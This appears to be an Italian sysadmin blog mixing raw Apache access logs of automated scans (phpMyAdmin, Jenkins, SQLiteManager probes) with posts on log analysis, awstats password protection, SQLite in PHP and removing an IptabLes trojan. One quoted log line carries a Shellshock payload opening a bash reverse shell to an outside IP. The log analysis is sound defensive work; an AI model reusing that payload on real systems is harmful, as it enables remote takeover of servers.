91.121.18.214 - - [24/Nov/2014:15:55:16 +0100] "GET / HTTP/1.1" 200 146 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:16 +0100] "GET /script HTTP/1.1" 404 267 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:19 +0100] "GET /jenkins/script HTTP/1.1" 404 275 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:19 +0100] "GET /hudson/script HTTP/1.1" 404 274 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:19 +0100] "GET /login HTTP/1.1" 404 266 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:20 +0100] "GET /jenkins/login HTTP/1.1" 404 274 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:21 +0100] "GET /hudson/login HTTP/1.1" 404 273 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:22 +0100] "GET /jmx-console HTTP/1.1" 404 272 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:22 +0100] "GET /manager/html HTTP/1.1" 404 273 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:22 +0100] "GET /msd HTTP/1.1" 404 264 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:23 +0100] "GET /mySqlDumper HTTP/1.1" 404 272 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:23 +0100] "GET /msd1.24stable HTTP/1.1" 404 274 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:23 +0100] "GET /msd1.24.4 HTTP/1.1" 404 270 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:23 +0100] "GET /mysqldumper HTTP/1.1" 404 272 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:23 +0100] "GET /MySQLDumper HTTP/1.1" 404 272 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:23 +0100] "GET /mysql HTTP/1.1" 404 266 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:23 +0100] "GET /sql HTTP/1.1" 404 264 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:24 +0100] "GET /phpmyadmin HTTP/1.1" 404 271 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:24 +0100] "GET /phpMyAdmin HTTP/1.1" 404 271 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:27 +0100] "GET /mysql HTTP/1.1" 404 266 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:27 +0100] "GET /sql HTTP/1.1" 404 264 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:27 +0100] "GET /myadmin HTTP/1.1" 404 268 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:28 +0100] "GET /phpMyAdmin-4.2.1-all-languages HTTP/1.1" 404 291 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:31 +0100] "GET /phpMyAdmin-4.2.1-english HTTP/1.1" 404 285 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:31 +0100] "GET / HTTP/1.1" 200 146 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:31 +0100] "GET /sqlite/main.php HTTP/1.1" 404 276 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:31 +0100] "GET /SQLite/SQLiteManager-1.2.4/main.php HTTP/1.1" 404 296 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:32 +0100] "GET /SQLiteManager-1.2.4/main.php HTTP/1.1" 404 289 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:33 +0100] "GET /sqlitemanager/main.php HTTP/1.1" 404 283 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:33 +0100] "GET /SQlite/main.php HTTP/1.1" 404 276 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:34 +0100] "GET /SQLiteManager/main.php HTTP/1.1" 404 283 "-" "Python-urllib/2.7"

venerdì 31 ottobre 2014

ShellShock et alii

Ancora un po' di curiosita sui log di un server Apache 2

ci sono chiaramente dei tentativi mediante script automatici che cercano vulnerabilita' legate a PhpMyAdmin (in giallo) ed un attacco basato su shellshock (in rosso) nella speranza di trovare installato CPanel

Curiose invece le righe in verde in cui vengono effettuate richieste a servizi come proxyjudge che verificano lo stato dei proxy server (forse un modo per verificare se la macchina e' all'interno di un proxy???)

comunque come si vede le risposte del server sono della categoria 400 quindi il file non e' stato trovato

Interessante anche la riga in azzurro in cui viene fatta una richiesta che non risulta essere nel protocollo http

Per finire le nazionalita' dell'origine degli attacchi: in alcuni casi e' Taiwan, in altri Thailandia,

08.61.218.252 - - [29/Oct/2014:22:48:18 +0000] "GET /ujuj/uju/uj.php HTTP/1.1" 404 470 "-" "-"
108.61.218.252 - - [29/Oct/2014:22:48:18 +0000] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 483 "-" "-"
108.61.218.252 - - [29/Oct/2014:22:48:19 +0000] "GET /pma/scripts/setup.php HTTP/1.1" 404 476 "-" "-"
108.61.218.252 - - [29/Oct/2014:22:48:19 +0000] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 480 "-" "-"
207.240.10.33 - - [29/Oct/2014:23:29:50 +0000] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 487 "-" "() { ignored;};/bin/bash -i >& /dev/tcp/207.240.10.1/8888 0>&1"
85.25.72.86 - - [29/Oct/2014:23:30:56 +0000] "GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1" 400 0 "-" "-"
125.64.35.67 - - [30/Oct/2014:00:03:13 +0000] "GET http://6.url.cn/zc/chs/img/body.png HTTP/1.1" 404 450 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.3; Trident/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.3072; .NET CLR 2.0.50727; .NET CLR 3.0.30729; Tablet PC 2.0)"
61.58.204.97 - - [30/Oct/2014:00:42:07 +0000] "GET /hghg/hgh/hg.php HTTP/1.1" 404 470 "-" "-"
61.58.204.97 - - [30/Oct/2014:00:42:08 +0000] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 483 "-" "-"
61.58.204.97 - - [30/Oct/2014:00:42:09 +0000] "GET /pma/scripts/setup.php HTTP/1.1" 404 476 "-" "-"
61.58.204.97 - - [30/Oct/2014:00:42:10 +0000] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 480 "-" "-"
118.174.140.130 - - [30/Oct/2014:00:55:50 +0000] "GET /kkkk/kkk/kk.php HTTP/1.1" 404 470 "-" "-"
118.174.140.130 - - [30/Oct/2014:00:55:51 +0000] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 483 "-" "-"
118.174.140.130 - - [30/Oct/2014:00:55:52 +0000] "GET /pma/scripts/setup.php HTTP/1.1" 404 476 "-" "-"
118.174.140.130 - - [30/Oct/2014:00:55:52 +0000] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 480 "-" "-"
1.164.41.53 - - [30/Oct/2014:01:45:02 +0000] "CONNECT mx0.mail2000.com.tw:25 HTTP/1.0" 405 537 "-" "-"
108.61.207.146 - - [30/Oct/2014:04:44:29 +0000] "GET /asas/asa/as.php HTTP/1.1" 404 470 "-" "-"
108.61.207.146 - - [30/Oct/2014:04:44:30 +0000] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 483 "-" "-"
108.61.207.146 - - [30/Oct/2014:04:44:30 +0000] "GET /pma/scripts/setup.php HTTP/1.1" 404 476 "-" "-"
108.61.207.146 - - [30/Oct/2014:04:44:30 +0000] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 480 "-" "-"
64.4.97.21 - - [30/Oct/2014:06:37:26 +0000] "GET /tmUnblock.cgi HTTP/1.1" 400 0 "-" "-"

218.59.238.93 - - [30/Oct/2014:11:01:52 +0000] "GET http://www.anonymousproxylist.net/azenv2.php HTTP/1.0" 404 478 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
218.59.238.93 - - [30/Oct/2014:11:02:14 +0000] "GET http://www.anonymousproxylist.net/azenv2.php HTTP/1.0" 404 478 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"


124.122.165.64 - - [30/Oct/2014:08:53:09 +0000] "GET /vyvy/vyv/vy.php HTTP/1.1" 404 470 "-" "-"
124.122.165.64 - - [30/Oct/2014:08:53:10 +0000] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 483 "-" "-"
124.122.165.64 - - [30/Oct/2014:08:53:11 +0000] "GET /pma/scripts/setup.php HTTP/1.1" 404 476 "-" "-"
124.122.165.64 - - [30/Oct/2014:08:53:12 +0000] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 480 "-" "-"

218.59.238.93 - - [29/Oct/2014:16:19:29 +0000] "GET http://sonke31.free.fr/world.php HTTP/1.0" 404 466 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
218.59.238.93 - - [29/Oct/2014:16:19:44 +0000] "GET http://proxyjudge.us/ HTTP/1.0" 200 11783 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"


218.59.238.93 - - [29/Oct/2014:10:07:33 +0000] "GET http://www.proxyjudge.biz/az.php HTTP/1.0" 404 466 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
218.59.238.93 - - [29/Oct/2014:10:39:54 +0000] "GET http://www.anonymousproxylist.net/azenv2.php HTTP/1.0" 404 478 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
218.59.238.93 - - [29/Oct/2014:11:12:40 +0000] "GET http://sonke31.free.fr/world.php HTTP/1.0" 404 466 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
218.59.238.93 - - [29/Oct/2014:11:13:49 +0000] "GET http://www.anonymousproxylist.net/azenv2.php HTTP/1.0" 404 478 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"

221.165.35.130 - - [27/Oct/2014:23:25:57 +0000] "GET / HTTP/1.1" 200 11820 "-" "-"
65.99.238.246 - - [27/Oct/2014:23:43:43 +0000] "GET / HTTP/1.0" 200 11783 "-" "-"
218.59.238.93 - - [27/Oct/2014:23:46:01 +0000] "GET http://www.anonymousproxylist.net/azenv2.php HTTP/1.0" 404 478 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
218.59.238.93 - - [28/Oct/2014:00:48:51 +0000] "GET http://yazoodle.net/azenv.php HTTP/1.0" 404 463 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
218.59.238.93 - - [28/Oct/2014:00:57:38 +0000] "GET http://proxyjudge.us/ HTTP/1.0" 200 11783 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
61.19.199.74 - - [28/Oct/2014:01:05:10 +0000] "GET /zyzy/zyz/zy.php HTTP/1.1" 404 470 "-" "-"
61.19.199.74 - - [28/Oct/2014:01:05:10 +0000] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 483 "-" "-"
61.19.199.74 - - [28/Oct/2014:01:05:11 +0000] "GET /pma/scripts/setup.php HTTP/1.1" 404 476 "-" "-"
61.19.199.74 - - [28/Oct/2014:01:05:11 +0000] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 480 "-" "-"
218.59.238.93 - - [28/Oct/2014:01:36:04 +0000] "GET http://proxyjudge.us/ HTTP/1.0" 200 11783 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
218.59.238.93 - - [28/Oct/2014:01:49:47 +0000] "GET http://www.mesregies.com/azz.php HTTP/1.0" 404 466 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
218.59.238.93 - - [28/Oct/2014:02:50:52 +0000] "GET http://www.proxyjudge.biz/az.php HTTP/1.0" 404 466 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
218.59.238.93 - - [28/Oct/2014:03:51:04 +0000] "GET http://sonke31.free.fr/world.php HTTP/1.0" 404 466 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"

mercoledì 24 settembre 2014

GoAccess su Debian

 Se e' venuto a noia leggere i log di Apache mediante

tail -f /var/log/apache2/access.log


puo' essere utile il programma goaccess che mostra le informazioni in modo piu' strutturato e leggibile

Per l'installazione da sorgenti si scarica l'ultimo pacchetto tar.gz da questo link 

si procede quindi a risolvere le dipendenze

apt-get install libgeoip-dev libncursesw5-dev pkg-config libglib2.0-dev

e si compila

./configure --enable-geoip --enable-utf8
make
make install


per lanciare il programma si deve indicare la posizione del file di log

goaccess -f /var/log/apache2/access.log

la prima schermata permette di scegliere il formato dati del file di log (in Debian e' corretta la prima opzione)



a questo punto si puo' vedere il traffico in tempo reale sul server web


lunedì 8 settembre 2014

Proteggere awstats con .htaccess su Centos 7



Per proteggere con password mediante il file .htaccess le statistiche di awstats si inizia configurando Apache e settando la directory che si intende proteggere nel file /etc/httpd/conf.d/awstats
---------------------------------------------------
<Directory /usr/local/awstats/wwwroot>
DirectoryIndex awstats.pl 
Options ExecCGI 
AllowOverride AuthConfig 
Require all granted
Allow from all 
</Directory>
---------------------------------------------------

si riavvia il servizio
systemctl restart httpd.service 

poi si imposta un file con la password
con il comando seguente si setta la password per l'utente luca nel file /var/ww/secure/pass_apache

htpasswd -c /home/secure/pass_apache luca
con Selinux attivato e' importante che il file contenente i file delle password si trovi nella sottodirectory /var/www/ (pena il fatto che Apache risponda con un errore 500)
per questo motivo ho creato una directory /var/www/secure ed ho inserito qui il file delle password

per essere sicuri sui permessi
chown apache:apache /var/www/secure/pass_apache
chmod 0660 /home/secure/apasswords

infine si crea il file .htaccess in /usr/local/awstats/wwwroot/cgi-bin

---------------------------------------------------
AuthType Basic 
AuthName "Restricted Access" 
AuthUserFile /var/www/secure/pass_apache 
Require user luca
---------------------------------------------------

martedì 19 agosto 2014

IptabLes IptabLex Trojan e Apache 2

Qualche giorno fa sono stato contattato da un amico perche' il suo server aveva genericamente dei problemi intermittenti sulla rete. Premettendo che non faccio piu' il sistemista Linux da una decina d'anni ho provato in ogni caso ad dare un'cchiata

La macchina era stata dichiarata per essere una Debian ma in realta' aveva installato una Ubuntu Server  11.04 base e la macchina sostanzialmente non era mai stata gestita. I primi problemi sono nell'ordine

  1. apt-get non funzionante quindi impossibile fare gli aggiornamenti di sistema. Peraltro apt-get update (nel caso avesse funzionato) mostrava la necessita' di aggiornare le libc 
  2. non era installato il sistema build-essential quindi era impossibile anche installare programmi da sorgenti
  3. la macchina aveva solo l'utente root e l'utente di lavoro entrambi con la medesima banale password
  4. erano esposti senza filtri i servizi sulla porta 22 (SSH permetteva anche il login da root), porta 80 (Apache)  3306 (Mysql) e 21 (FTP)
Eseguendo un iftop la banda era quasi tutta saturata da un traffico in uscita di diverse Megabit su porta 80 verso akamai (un noto servizio olandese a cui si appoggiano su cui si appoggiano praticamente tutti i grandi nomi da Microsoft, Apple, Adobe....), ed un paio di siti cinesi



il primo sito cinese ad una scansione con nmap non dava particolari informazioni mentre il secondo (14.17.x.x) mostrava aperte tutte le seguenti porte (7,9,13,21,22,23,25,26,37,53,79,80,81,88,106,110,111,113,119,135,139,143,144,179 e cosi' via). In pratica il secondo indirizzo sembra essere un honeypot...strano...

usando rootkit hunter non e' stato mostrato niente di strano (tutti i controlli passati)
Memore di un paio di attacchi di 10 anni prima ho provato a cercare delle directory triplo punto (...) in cui erano nascosti file sospetti ma niente. Anche l'occupazione dello spazio disco non mostrava niente di anomalo (ero abituato ad attacchi che installano degli ftp pirata per cercavo l'eventuale directory di upload/download)

Frugando meglio con netstat (netstat -tulpn) mi sono saltate subito all'occhio le chiamate di iptables (vedi immagine sottostante)

ancora di piu' mi e' saltata subito all'occhio la grafia. Non si trattava del normale comando iptables ma di IptabLes (notare le maiuscole!!). in pratica era stato installato un programma da un nome simile ad un legittimo comando nella speranza di nascondersi 



Da qui e' partita una breve ricerca che mi ha portato a questo link dove e' spiegato come questo sia un trojan che si installa usando una vulnerabilita' zero day legata ad Apache 2 (il messaggio e' datato maggio 2013)

Leggendo le istruzioni ho trovato i file ospite esattamente dove erano indicati dalla guida
In sostanza il server era usato per effettuare attacchi DDOS verso siti cinesi e verso Akamai 
Una analisi completa del programma e' riportata da questo link dove si suppone l'origine cinese 

Giusto per vedere se potevo guadagnare un po' di tempo in attesa di mettere su un nuovo server ho provato a killare il programma a mano ed a rimuovere i programmi IptabLes e IptabLex ma il mattino successivo il trojan era di nuovo al suo posto (non avendo potuto aggiornare Apache la macchina era rimasta vulnerabile e probabilmente gli attacchi sono automatizzati)

lunedì 16 settembre 2013

Sqlite e Php

Un metodo semplice per avere un database su un sito Web senza utilizzare un sql server e' quello di impiegare sqlite (che non e' basato su un motore sql ma su semplici file)

Per l'installazione si procede semplicemente con

apt-get install php5-sqlite


Di seguito un breve codice che crea il file di database (rfid.db), crea una tabella all'interno, la popola ed effettua una select rilasciando poi l'oggetto db
---------------------------
<?php
$db = new PDO('sqlite:rfid.db');
$db->exec("CREATE TABLE rfid (rfid TEXT,token TEXT)");  
$db->exec("INSERT INTO rfid (rfid, token) VALUES ('12345', 'abcdef');");
$results = $db->query('SELECT * FROM rfid');
foreach($results as $row)
{
print $row['rfid']."-".$row['token']."<br>";
}
$db = NULL;
?>

Geologi

  E so anche espatriare senza praticamente toccare strada asfaltata